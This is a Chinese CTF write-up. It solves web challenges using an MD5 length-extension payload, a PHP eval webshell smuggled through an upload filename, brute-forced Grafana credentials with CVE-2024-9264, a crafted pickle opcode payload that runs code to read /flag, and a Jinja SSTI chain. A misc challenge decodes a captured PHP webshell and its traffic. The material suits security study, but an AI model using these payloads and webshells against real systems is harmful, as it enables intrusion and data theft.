本文最后更新于 2026年3月29日 下午
web real_signin 提示有备份,直接扫一下目录,果然发现了index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $SECRET_KEY ='xxxxxxxxxxxx' ; function hashEncode ($data ) { global $SECRET_KEY ; return md5 ($SECRET_KEY .$data ); }include ('flag.php' );$md5 =$_POST ['md5' ];$value =$_POST ['value' ];if (isset ($md5 ) && isset ($value )) { echo (hashEncode ('sdpc' ).'<br>' ); if (hashEncode ($value )===$md5 ) { echo "yes, give you flag: " ; echo $FLAG ; }else { echo ("no." ); } }
非预期? 1 value =sdpc&md5=193 a8f62eed8bd2bb6d07dbfd8579d34
直接就能出来,不知道是不是就是这样的
猜测应该想考哈希扩展
1 value= sdpc%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %80 %00 %00 %00 %00 %00 %00 %00 abc&md5 = fb7 abb3 b78411196 d42 c 50 c 684596 d22
点墨染翰 上传头像只允许jpg和png,并且后端做了检查
查看历史页面的源码有一段比较可疑
1 2 3 4 5 6 <h3 > 当前头像:</h3 > <div class ="avatar-display" > <img src ="uploads/b2e5b371c29c0e14_1774704522.png" alt ="Current Avatar" > </div > <div class ="code-execution" > 7.png </div > </div >
推测漏洞点在7.png上
上传文件名为 <?php phpinfo();?>.png成功读取,下面上马
<?php @eval($_POST['pass']);?>.png
real_Grafana 这个版本的grafana有CVE,但是需要用户名和密码,我们直接爆破一下
1 2 username: editorpassword: editor123
下面直接打CVE-2024-9264
Y0u_@r3_n0t_Acc1oFl4g app.py :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from flask import Flask, request, session, render_template_string, url_for, redirectimport pickleimport ioimport sysimport base64import randomimport subprocessfrom config import notAcc1oFl4g app = Flask(__name__)class RestrictedUnpickler (pickle. Unpickler): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr (sys.modules [module], name) raise pickle.UnpicklingError("'%s. %s' not allowed" % (module, name))def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO (s)).load()@app.route('/' ) def index (): return render_template_string('Hello Hacker' )@app.route('/secret' ) def secret (): info = request.args.get('param' , '' ) if info is not '' : x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('oh you find it' )if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=80 )
config.py :
1 2 3 4 5 6 notAcc1oFl4g={"Acc1oFl4g" :"no" }def backdoor (cmd ): if notAcc1oFl4g["Acc1oFl4g" ]=="yes" : s='' .join(cmd) exec (s)
/secret 路由接受 param 参数
参数经过 base64 解码后,传入 restricted_loads() 进行 pickle 反序列化
分析 RestrictedUnpickler 限制
1 2 3 4 5 6 7 8 9 class RestrictedUnpickler (pickle. Unpickler): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr (sys.modules [module], name) raise pickle.UnpicklingError("'%s. %s' not allowed" % (module, name))
限制条件 :
只能从 config 模块加载类/函数
名称不能包含 __(防止使用 reduce 、init 等魔术方法)
config.py 中存在一个 backdoor 函数:
1 2 3 4 def backdoor (cmd ): if notAcc1oFl4g["Acc1oFl4g" ]=="yes" : s='' .join(cmd) exec (s)
关键点 :
backdoor 函数可以执行任意 Python 代码
但需要 notAcc1oFl4g[“Acc1oFl4g”]==”yes” 才能触发
notAcc1oFl4g 是一个字典,初始值为 {“Acc1oFl4g”:”no”}
攻击思路
利用 pickle 操作码:
获取 config.notAcc1oFl4g 字典对象
修改字典值:notAcc1oFl4g[“Acc1oFl4g”] = “yes”
获取 config.backdoor 函数
调用 backdoor 执行任意代码
这里有一个叫pker的工具可以帮我们利用操作码,这里好像有python版本兼容问题,要放kali里面跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import sys sys.path.insert(0 , r'/home/kali/桌面/pker-master/' )from pker import cons payload=""" a=GLOBAL('config','notAcc1oFl4g') a['Acc1oFl4g'] = 'yes' func=GLOBAL('config','backdoor') func('raise Exception(open("/flag").read())')""" payload = cons(payload)print (payload)
由于这里没有回显,所以我们用异常抛出把flag吐出来
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport base64import requests payload = b'cconfig\nnotAcc1oFl4g\np0\n0g0\nS\'Acc1oFl4g\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0g2\n(S\'raise Exception(open("/flag").read())\'\ntR' encoded = base64.b64encode(payload).decode()print (f"Payload: {encoded} " ) url = "http://175.27.251.122:35425/secret" response = requests.get(url, params={"param" : encoded})print (f"Response: {response.text} " )
referer pickle反序列化漏洞基础知识与绕过简析-先知社区
超かぐや姫! flask框架,邮箱的地方存在ssti,但是邮箱地址不让有小括号、中括号,试了双引号包裹貌似也不行,这样就不能执行命令了
后台应该是把config和request也删了,没法直接调用
1 {{lipsum.__globals__.os .sys .modules .flask .current_app .config}}
找到一条能读敏感信息的链子
Misc easy_traffic 首先筛选http流量
我们发现两个POST流量
第一个上传了1.zip,我们追踪tcp把压缩包保存,发现里面有flag.png但是需要密码解压
我们看第二个POST
请求包的部分url解码,反转,base64解码得到一串代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @session_start (); @set_time_limit (0 ); @error_reporting (0 );function encode ($D ,$K ) { for ($i =0 ;$i <strlen ($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; }$pass ='camellia' ;$payloadName ='payload' ;$key ='d2514888c140c3b6' ;if (isset ($_POST [$pass ])){ $data =encode (base64_decode ($_POST [$pass ]),$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode ($_SESSION [$payloadName ],$key ); if (strpos ($payload ,"getBasicsInfo" )===false ){ $payload =encode ($payload ,$key ); } eval ($payload ); echo substr (md5 ($pass .$key ),0 ,16 ); echo base64_encode (encode (@run ($data ),$key )); echo substr (md5 ($pass .$key ),16 ); }else { if (strpos ($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode ($data ,$key ); } } }
我们用Python脚本解密响应包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import base64import gzipimport hashlib response = "b467b82236edb9d3Lb45NDg4OGMxPvtN/Sz8zXj8e2XY3Tpj2fG+Kz9iNmQ=6d3a211d4d306f47" prefix = response[:16 ] b64_data = response[16 :-16 ] suffix = response[-16 :] pass_key = "camellia" + "d2514888c140c3b6" md5_hash = hashlib.md5(pass_key.encode()).hexdigest()assert prefix == md5_hash[:16 ]assert suffix == md5_hash[16 :] encrypted = base64.b64decode(b64_data) key = "d2514888c140c3b6" decrypted = bytearray ()for i, b in enumerate (encrypted): k = ord (key[(i + 1 ) & 15 ]) decrypted.append(b ^ k) password = gzip.decompress(bytes (decrypted))print (password)
得到kskblzdjd
这个就是压缩包的密码,我们得到了flag.png
这个是汉信码,我们找一个在线网站